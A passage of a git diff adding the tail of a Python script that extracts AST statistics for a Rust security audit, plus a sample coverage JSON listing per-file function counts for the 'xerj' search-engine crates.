+ "functions_with_narrowing_casts": sum(
+ 1 for f in self.functions if f["narrowing_casts"]),
+ "functions_with_alloc_from_param": sum(
+ 1 for f in self.functions if f["alloc_from_param"]),
+ "per_file": self.per_file,
+ }
+ with open(os.path.join(outdir, "coverage.json"), "w") as fh:
+ json.dump(coverage, fh, indent=2)
+ with open(os.path.join(outdir, "unsafe_inventory.json"), "w") as fh:
+ json.dump({"unsafe_blocks": unsafe_sites,
+ "unsafe_fns": unsafe_fns}, fh, indent=2)
+ return coverage
+
+
+def main():
+ ap = argparse.ArgumentParser()
+ ap.add_argument("root")
+ ap.add_argument("--out", default="./ast-out")
+ args = ap.parse_args()
+
+ ex = Extractor(args.root).run()
+ cov = ex.write(args.out)
+ print(json.dumps({k: v for k, v in cov.items() if k != "per_file"}, indent=2))
+
+
+if __name__ == "__main__":
+ main()
diff --git a/docs/examples/rust-ast-audit/sample-coverage.json b/docs/examples/rust-ast-audit/sample-coverage.json
new file mode 100644
index 000000000..55c0b03f5
--- /dev/null
+++ b/docs/examples/rust-ast-audit/sample-coverage.json
@@ -0,0 +1,1794 @@
+{
+ "root": "/home/claude/ai/xerj-rust-audit-wt/engine",
+ "files_total": 197,
+ "files_parsed": 197,
+ "files_with_error_nodes": 0,
+ "error_files": [],
+ "error_nodes_total": 0,
+ "ast_function_nodes": 5095,
+ "emitted_function_records": 5095,
+ "function_coverage_pct": 100.0,
+ "call_edges": 87137,
+ "routes": 477,
+ "unsafe_block_sites": 23,
+ "unsafe_fn_declarations": 2,
+ "functions_with_unsafe": 21,
+ "handler_shaped_functions": 299,
+ "functions_with_narrowing_casts": 433,
+ "functions_with_alloc_from_param": 149,
+ "per_file": [
+ {
+ "file": "crates/xerj-ai/examples/onnx_experimental.rs",
+ "crate": "xerj-ai",
+ "bytes": 2106,
+ "lines": 56,
+ "ast_functions": 1,
+ "emitted_functions": 1,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-ai/src/chunker.rs",
+ "crate": "xerj-ai",
+ "bytes": 14198,
+ "lines": 361,
+ "ast_functions": 15,
+ "emitted_functions": 15,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-ai/src/embed.rs",
+ "crate": "xerj-ai",
+ "bytes": 14611,
+ "lines": 387,
+ "ast_functions": 19,
+ "emitted_functions": 19,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-ai/src/embedder.rs",
+ "crate": "xerj-ai",
+ "bytes": 33562,
+ "lines": 861,
+ "ast_functions": 34,
+ "emitted_functions": 34,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-ai/src/lib.rs",
+ "crate": "xerj-ai",
+ "bytes": 1219,
+ "lines": 33,
+ "ast_functions": 0,
+ "emitted_functions": 0,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-ai/src/local.rs",
+ "crate": "xerj-ai",
+ "bytes": 6036,
+ "lines": 165,
+ "ast_functions": 9,
+ "emitted_functions": 9,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-ai/src/memory.rs",
+ "crate": "xerj-ai",
+ "bytes": 11611,
+ "lines": 328,
+ "ast_functions": 20,
+ "emitted_functions": 20,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-ai/src/neural.rs",
+ "crate": "xerj-ai",
+ "bytes": 12856,
+ "lines": 321,
+ "ast_functions": 9,
+ "emitted_functions": 9,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-ai/src/onnx.rs",
+ "crate": "xerj-ai",
+ "bytes": 18392,
+ "lines": 521,
+ "ast_functions": 20,
+ "emitted_functions": 20,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-api/src/auth.rs",
+ "crate": "xerj-api",
+ "bytes": 24965,
+ "lines": 622,
+ "ast_functions": 17,
+ "emitted_functions": 17,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-api/src/binary_protocol.rs",
+ "crate": "xerj-api",
+ "bytes": 16916,
+ "lines": 460,
+ "ast_functions": 14,
+ "emitted_functions": 14,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-api/src/error.rs",
+ "crate": "xerj-api",
+ "bytes": 19718,
+ "lines": 398,
+ "ast_functions": 11,
+ "emitted_functions": 11,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-api/src/es_compat.rs",
+ "crate": "xerj-api",
+ "bytes": 1298735,
+ "lines": 31222,
+ "ast_functions": 603,
+ "emitted_functions": 603,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-api/src/extract.rs",
+ "crate": "xerj-api",
+ "bytes": 6416,
+ "lines": 177,
+ "ast_functions": 5,
+ "emitted_functions": 5,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-api/src/lib.rs",
+ "crate": "xerj-api",
+ "bytes": 2984,
+ "lines": 76,
+ "ast_functions": 0,
+ "emitted_functions": 0,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-api/src/main.rs",
+ "crate": "xerj-api",
+ "bytes": 1907,
+ "lines": 49,
+ "ast_functions": 1,
+ "emitted_functions": 1,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-api/src/memory_api.rs",
+ "crate": "xerj-api",
+ "bytes": 49370,
+ "lines": 1268,
+ "ast_functions": 26,
+ "emitted_functions": 26,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-api/src/native.rs",
+ "crate": "xerj-api",
+ "bytes": 92051,
+ "lines": 2471,
+ "ast_functions": 52,
+ "emitted_functions": 52,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-api/src/responses.rs",
+ "crate": "xerj-api",
+ "bytes": 24967,
+ "lines": 695,
+ "ast_functions": 18,
+ "emitted_functions": 18,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-api/src/router.rs",
+ "crate": "xerj-api",
+ "bytes": 52652,
+ "lines": 998,
+ "ast_functions": 11,
+ "emitted_functions": 11,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-api/src/state.rs",
+ "crate": "xerj-api",
+ "bytes": 22816,
+ "lines": 527,
+ "ast_functions": 32,
+ "emitted_functions": 32,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-api/src/stub.rs",
+ "crate": "xerj-api",
+ "bytes": 2547,
+ "lines": 69,
+ "ast_functions": 1,
+ "emitted_functions": 1,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/catalog.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 23008,
+ "lines": 567,
+ "ast_functions": 11,
+ "emitted_functions": 11,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/cli.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 12255,
+ "lines": 315,
+ "ast_functions": 7,
+ "emitted_functions": 7,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/coerce.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 4412,
+ "lines": 135,
+ "ast_functions": 4,
+ "emitted_functions": 4,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/content.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 10397,
+ "lines": 286,
+ "ast_functions": 15,
+ "emitted_functions": 15,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/correlate.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 11908,
+ "lines": 344,
+ "ast_functions": 8,
+ "emitted_functions": 8,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/dataset.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 7129,
+ "lines": 223,
+ "ast_functions": 6,
+ "emitted_functions": 6,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/esclient.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 24097,
+ "lines": 635,
+ "ast_functions": 26,
+ "emitted_functions": 26,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/extract/csv_x.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 2383,
+ "lines": 82,
+ "ast_functions": 1,
+ "emitted_functions": 1,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/extract/docx.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 3445,
+ "lines": 98,
+ "ast_functions": 1,
+ "emitted_functions": 1,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/extract/html.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 11540,
+ "lines": 343,
+ "ast_functions": 7,
+ "emitted_functions": 7,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/extract/json.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 3438,
+ "lines": 99,
+ "ast_functions": 2,
+ "emitted_functions": 2,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/extract/jsonl.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 2811,
+ "lines": 98,
+ "ast_functions": 3,
+ "emitted_functions": 3,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/extract/logs.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 10040,
+ "lines": 279,
+ "ast_functions": 7,
+ "emitted_functions": 7,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/extract/mod.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 12113,
+ "lines": 377,
+ "ast_functions": 16,
+ "emitted_functions": 16,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/extract/pdf.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 23001,
+ "lines": 644,
+ "ast_functions": 27,
+ "emitted_functions": 27,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/extract/sqldump.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 21654,
+ "lines": 592,
+ "ast_functions": 13,
+ "emitted_functions": 13,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/extract/sqlite_x.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 4175,
+ "lines": 116,
+ "ast_functions": 1,
+ "emitted_functions": 1,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/extract/txt.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 9977,
+ "lines": 284,
+ "ast_functions": 10,
+ "emitted_functions": 10,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/extract/xml_x.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 9374,
+ "lines": 281,
+ "ast_functions": 5,
+ "emitted_functions": 5,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/extract/yaml_x.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 3785,
+ "lines": 112,
+ "ast_functions": 2,
+ "emitted_functions": 2,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/failure_resume_http_tests.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 28865,
+ "lines": 795,
+ "ast_functions": 17,
+ "emitted_functions": 17,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/ids.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 2017,
+ "lines": 62,
+ "ast_functions": 4,
+ "emitted_functions": 4,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/infer/dates.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 6916,
+ "lines": 185,
+ "ast_functions": 7,
+ "emitted_functions": 7,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/infer/entities.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 2083,
+ "lines": 84,
+ "ast_functions": 4,
+ "emitted_functions": 4,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/infer/mod.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 21190,
+ "lines": 577,
+ "ast_functions": 16,
+ "emitted_functions": 16,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/lib.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 76296,
+ "lines": 1908,
+ "ast_functions": 18,
+ "emitted_functions": 18,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/sniff.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 19296,
+ "lines": 586,
+ "ast_functions": 24,
+ "emitted_functions": 24,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/state.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 33074,
+ "lines": 832,
+ "ast_functions": 22,
+ "emitted_functions": 22,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-autoindex/src/walk.rs",
+ "crate": "xerj-autoindex",
+ "bytes": 2832,
+ "lines": 92,
+ "ast_functions": 4,
+ "emitted_functions": 4,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-cluster/src/coordinator.rs",
+ "crate": "xerj-cluster",
+ "bytes": 22289,
+ "lines": 583,
+ "ast_functions": 15,
+ "emitted_functions": 15,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-cluster/src/lib.rs",
+ "crate": "xerj-cluster",
+ "bytes": 3518,
+ "lines": 78,
+ "ast_functions": 0,
+ "emitted_functions": 0,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-cluster/src/metadata.rs",
+ "crate": "xerj-cluster",
+ "bytes": 12932,
+ "lines": 392,
+ "ast_functions": 17,
+ "emitted_functions": 17,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-cluster/src/node.rs",
+ "crate": "xerj-cluster",
+ "bytes": 14454,
+ "lines": 397,
+ "ast_functions": 22,
+ "emitted_functions": 22,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-cluster/src/raft.rs",
+ "crate": "xerj-cluster",
+ "bytes": 38381,
+ "lines": 1093,
+ "ast_functions": 41,
+ "emitted_functions": 41,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-cluster/src/raft_log.rs",
+ "crate": "xerj-cluster",
+ "bytes": 15749,
+ "lines": 428,
+ "ast_functions": 17,
+ "emitted_functions": 17,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-cluster/src/regions.rs",
+ "crate": "xerj-cluster",
+ "bytes": 30974,
+ "lines": 822,
+ "ast_functions": 29,
+ "emitted_functions": 29,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-cluster/src/replication.rs",
+ "crate": "xerj-cluster",
+ "bytes": 18190,
+ "lines": 479,
+ "ast_functions": 16,
+ "emitted_functions": 16,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-cluster/src/router.rs",
+ "crate": "xerj-cluster",
+ "bytes": 13659,
+ "lines": 360,
+ "ast_functions": 16,
+ "emitted_functions": 16,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-cluster/src/runner.rs",
+ "crate": "xerj-cluster",
+ "bytes": 6114,
+ "lines": 171,
+ "ast_functions": 8,
+ "emitted_functions": 8,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-cluster/src/search.rs",
+ "crate": "xerj-cluster",
+ "bytes": 10286,
+ "lines": 288,
+ "ast_functions": 10,
+ "emitted_functions": 10,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-cluster/src/transport.rs",
+ "crate": "xerj-cluster",
+ "bytes": 7974,
+ "lines": 220,
+ "ast_functions": 8,
+ "emitted_functions": 8,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-cluster/tests/persistent_raft_test.rs",
+ "crate": "xerj-cluster",
+ "bytes": 2697,
+ "lines": 77,
+ "ast_functions": 1,
+ "emitted_functions": 1,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-cluster/tests/region_tests.rs",
+ "crate": "xerj-cluster",
+ "bytes": 14534,
+ "lines": 418,
+ "ast_functions": 16,
+ "emitted_functions": 16,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-cluster/tests/replication_tests.rs",
+ "crate": "xerj-cluster",
+ "bytes": 11214,
+ "lines": 323,
+ "ast_functions": 13,
+ "emitted_functions": 13,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-cluster/tests/transport_tests.rs",
+ "crate": "xerj-cluster",
+ "bytes": 9369,
+ "lines": 279,
+ "ast_functions": 6,
+ "emitted_functions": 6,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-common/src/config.rs",
+ "crate": "xerj-common",
+ "bytes": 61734,
+ "lines": 1446,
+ "ast_functions": 38,
+ "emitted_functions": 38,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-common/src/error.rs",
+ "crate": "xerj-common",
+ "bytes": 12958,
+ "lines": 332,
+ "ast_functions": 27,
+ "emitted_functions": 27,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-common/src/fsio.rs",
+ "crate": "xerj-common",
+ "bytes": 3464,
+ "lines": 92,
+ "ast_functions": 4,
+ "emitted_functions": 4,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-common/src/lib.rs",
+ "crate": "xerj-common",
+ "bytes": 1267,
+ "lines": 36,
+ "ast_functions": 0,
+ "emitted_functions": 0,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-common/src/metrics.rs",
+ "crate": "xerj-common",
+ "bytes": 20945,
+ "lines": 506,
+ "ast_functions": 21,
+ "emitted_functions": 21,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-common/src/schema.rs",
+ "crate": "xerj-common",
+ "bytes": 17231,
+ "lines": 432,
+ "ast_functions": 21,
+ "emitted_functions": 21,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-common/src/types.rs",
+ "crate": "xerj-common",
+ "bytes": 23746,
+ "lines": 606,
+ "ast_functions": 36,
+ "emitted_functions": 36,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-compress/src/block.rs",
+ "crate": "xerj-compress",
+ "bytes": 11499,
+ "lines": 311,
+ "ast_functions": 17,
+ "emitted_functions": 17,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-compress/src/codec.rs",
+ "crate": "xerj-compress",
+ "bytes": 9834,
+ "lines": 245,
+ "ast_functions": 21,
+ "emitted_functions": 21,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-compress/src/dictionary.rs",
+ "crate": "xerj-compress",
+ "bytes": 9818,
+ "lines": 273,
+ "ast_functions": 19,
+ "emitted_functions": 19,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-compress/src/field_codec.rs",
+ "crate": "xerj-compress",
+ "bytes": 63551,
+ "lines": 1650,
+ "ast_functions": 62,
+ "emitted_functions": 62,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-compress/src/lib.rs",
+ "crate": "xerj-compress",
+ "bytes": 746,
+ "lines": 22,
+ "ast_functions": 0,
+ "emitted_functions": 0,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/build.rs",
+ "crate": "xerj-console-api",
+ "bytes": 6120,
+ "lines": 167,
+ "ast_functions": 4,
+ "emitted_functions": 4,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/auth/audit.rs",
+ "crate": "xerj-console-api",
+ "bytes": 1466,
+ "lines": 50,
+ "ast_functions": 1,
+ "emitted_functions": 1,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/auth/login.rs",
+ "crate": "xerj-console-api",
+ "bytes": 10610,
+ "lines": 291,
+ "ast_functions": 7,
+ "emitted_functions": 7,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/auth/magic.rs",
+ "crate": "xerj-console-api",
+ "bytes": 14140,
+ "lines": 374,
+ "ast_functions": 4,
+ "emitted_functions": 4,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/auth/me.rs",
+ "crate": "xerj-console-api",
+ "bytes": 2946,
+ "lines": 94,
+ "ast_functions": 3,
+ "emitted_functions": 3,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/auth/mod.rs",
+ "crate": "xerj-console-api",
+ "bytes": 557,
+ "lines": 20,
+ "ast_functions": 0,
+ "emitted_functions": 0,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/auth/passkey.rs",
+ "crate": "xerj-console-api",
+ "bytes": 11628,
+ "lines": 334,
+ "ast_functions": 5,
+ "emitted_functions": 5,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/auth/rate_limit.rs",
+ "crate": "xerj-console-api",
+ "bytes": 5260,
+ "lines": 171,
+ "ast_functions": 8,
+ "emitted_functions": 8,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/auth/sessions.rs",
+ "crate": "xerj-console-api",
+ "bytes": 13358,
+ "lines": 333,
+ "ast_functions": 15,
+ "emitted_functions": 15,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/auth/store.rs",
+ "crate": "xerj-console-api",
+ "bytes": 13691,
+ "lines": 361,
+ "ast_functions": 22,
+ "emitted_functions": 22,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/auth/tokens.rs",
+ "crate": "xerj-console-api",
+ "bytes": 6924,
+ "lines": 181,
+ "ast_functions": 3,
+ "emitted_functions": 3,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/auth/webauthn_setup.rs",
+ "crate": "xerj-console-api",
+ "bytes": 821,
+ "lines": 22,
+ "ast_functions": 1,
+ "emitted_functions": 1,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/bootstrap.rs",
+ "crate": "xerj-console-api",
+ "bytes": 13219,
+ "lines": 358,
+ "ast_functions": 16,
+ "emitted_functions": 16,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/cluster.rs",
+ "crate": "xerj-console-api",
+ "bytes": 1393,
+ "lines": 40,
+ "ast_functions": 1,
+ "emitted_functions": 1,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/dashboards.rs",
+ "crate": "xerj-console-api",
+ "bytes": 24712,
+ "lines": 613,
+ "ast_functions": 19,
+ "emitted_functions": 19,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/data_sources.rs",
+ "crate": "xerj-console-api",
+ "bytes": 8840,
+ "lines": 224,
+ "ast_functions": 5,
+ "emitted_functions": 5,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/error.rs",
+ "crate": "xerj-console-api",
+ "bytes": 4519,
+ "lines": 142,
+ "ast_functions": 7,
+ "emitted_functions": 7,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/indices.rs",
+ "crate": "xerj-console-api",
+ "bytes": 11145,
+ "lines": 248,
+ "ast_functions": 5,
+ "emitted_functions": 5,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/lib.rs",
+ "crate": "xerj-console-api",
+ "bytes": 2212,
+ "lines": 63,
+ "ast_functions": 0,
+ "emitted_functions": 0,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/prefs.rs",
+ "crate": "xerj-console-api",
+ "bytes": 2113,
+ "lines": 63,
+ "ast_functions": 2,
+ "emitted_functions": 2,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/response.rs",
+ "crate": "xerj-console-api",
+ "bytes": 2855,
+ "lines": 82,
+ "ast_functions": 4,
+ "emitted_functions": 4,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/router.rs",
+ "crate": "xerj-console-api",
+ "bytes": 7213,
+ "lines": 178,
+ "ast_functions": 2,
+ "emitted_functions": 2,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/seed.rs",
+ "crate": "xerj-console-api",
+ "bytes": 36440,
+ "lines": 909,
+ "ast_functions": 17,
+ "emitted_functions": 17,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/spa.rs",
+ "crate": "xerj-console-api",
+ "bytes": 4180,
+ "lines": 116,
+ "ast_functions": 7,
+ "emitted_functions": 7,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/state.rs",
+ "crate": "xerj-console-api",
+ "bytes": 5895,
+ "lines": 176,
+ "ast_functions": 4,
+ "emitted_functions": 4,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/time.rs",
+ "crate": "xerj-console-api",
+ "bytes": 1375,
+ "lines": 38,
+ "ast_functions": 4,
+ "emitted_functions": 4,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/src/views.rs",
+ "crate": "xerj-console-api",
+ "bytes": 4157,
+ "lines": 143,
+ "ast_functions": 6,
+ "emitted_functions": 6,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/tests/api_tokens_flow.rs",
+ "crate": "xerj-console-api",
+ "bytes": 8303,
+ "lines": 224,
+ "ast_functions": 6,
+ "emitted_functions": 6,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/tests/dashboards_seed_and_schema.rs",
+ "crate": "xerj-console-api",
+ "bytes": 19519,
+ "lines": 539,
+ "ast_functions": 17,
+ "emitted_functions": 17,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/tests/phase1_boot_and_cluster_info.rs",
+ "crate": "xerj-console-api",
+ "bytes": 6238,
+ "lines": 198,
+ "ast_functions": 10,
+ "emitted_functions": 10,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/tests/phase2_auth_flow.rs",
+ "crate": "xerj-console-api",
+ "bytes": 17913,
+ "lines": 539,
+ "ast_functions": 20,
+ "emitted_functions": 20,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/tests/phase3_user_state.rs",
+ "crate": "xerj-console-api",
+ "bytes": 16296,
+ "lines": 503,
+ "ast_functions": 15,
+ "emitted_functions": 15,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/tests/router_precedence.rs",
+ "crate": "xerj-console-api",
+ "bytes": 2746,
+ "lines": 82,
+ "ast_functions": 4,
+ "emitted_functions": 4,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-console-api/tests/spa_assets.rs",
+ "crate": "xerj-console-api",
+ "bytes": 4356,
+ "lines": 133,
+ "ast_functions": 8,
+ "emitted_functions": 8,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/benches/search_bench.rs",
+ "crate": "xerj-engine",
+ "bytes": 12567,
+ "lines": 322,
+ "ast_functions": 7,
+ "emitted_functions": 7,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/examples/alloc_count.rs",
+ "crate": "xerj-engine",
+ "bytes": 3467,
+ "lines": 91,
+ "ast_functions": 3,
+ "emitted_functions": 3,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/src/aggs.rs",
+ "crate": "xerj-engine",
+ "bytes": 503632,
+ "lines": 12508,
+ "ast_functions": 246,
+ "emitted_functions": 246,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/src/audit.rs",
+ "crate": "xerj-engine",
+ "bytes": 7191,
+ "lines": 198,
+ "ast_functions": 9,
+ "emitted_functions": 9,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/src/bounded_ingest_resources_tests.rs",
+ "crate": "xerj-engine",
+ "bytes": 9022,
+ "lines": 240,
+ "ast_functions": 7,
+ "emitted_functions": 7,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/src/bulk.rs",
+ "crate": "xerj-engine",
+ "bytes": 142914,
+ "lines": 3262,
+ "ast_functions": 38,
+ "emitted_functions": 38,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/src/engine.rs",
+ "crate": "xerj-engine",
+ "bytes": 85887,
+ "lines": 1973,
+ "ast_functions": 58,
+ "emitted_functions": 58,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/src/fast_aggs.rs",
+ "crate": "xerj-engine",
+ "bytes": 228590,
+ "lines": 5499,
+ "ast_functions": 89,
+ "emitted_functions": 89,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/src/governor.rs",
+ "crate": "xerj-engine",
+ "bytes": 39762,
+ "lines": 934,
+ "ast_functions": 44,
+ "emitted_functions": 44,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/src/index.rs",
+ "crate": "xerj-engine",
+ "bytes": 1449876,
+ "lines": 32426,
+ "ast_functions": 524,
+ "emitted_functions": 524,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/src/ingest_memory.rs",
+ "crate": "xerj-engine",
+ "bytes": 31974,
+ "lines": 1002,
+ "ast_functions": 51,
+ "emitted_functions": 51,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/src/lib.rs",
+ "crate": "xerj-engine",
+ "bytes": 15173,
+ "lines": 345,
+ "ast_functions": 10,
+ "emitted_functions": 10,
+ "error_nodes": 0
+ },
+ {
+ "file": "crates/xerj-engine/src/memtable.rs",
+ "crate": "xerj-engine",
+ "bytes": 161777,
+ "lines": 3784,
+ "ast_functions": 139,
+ "emitted_functions": 139,
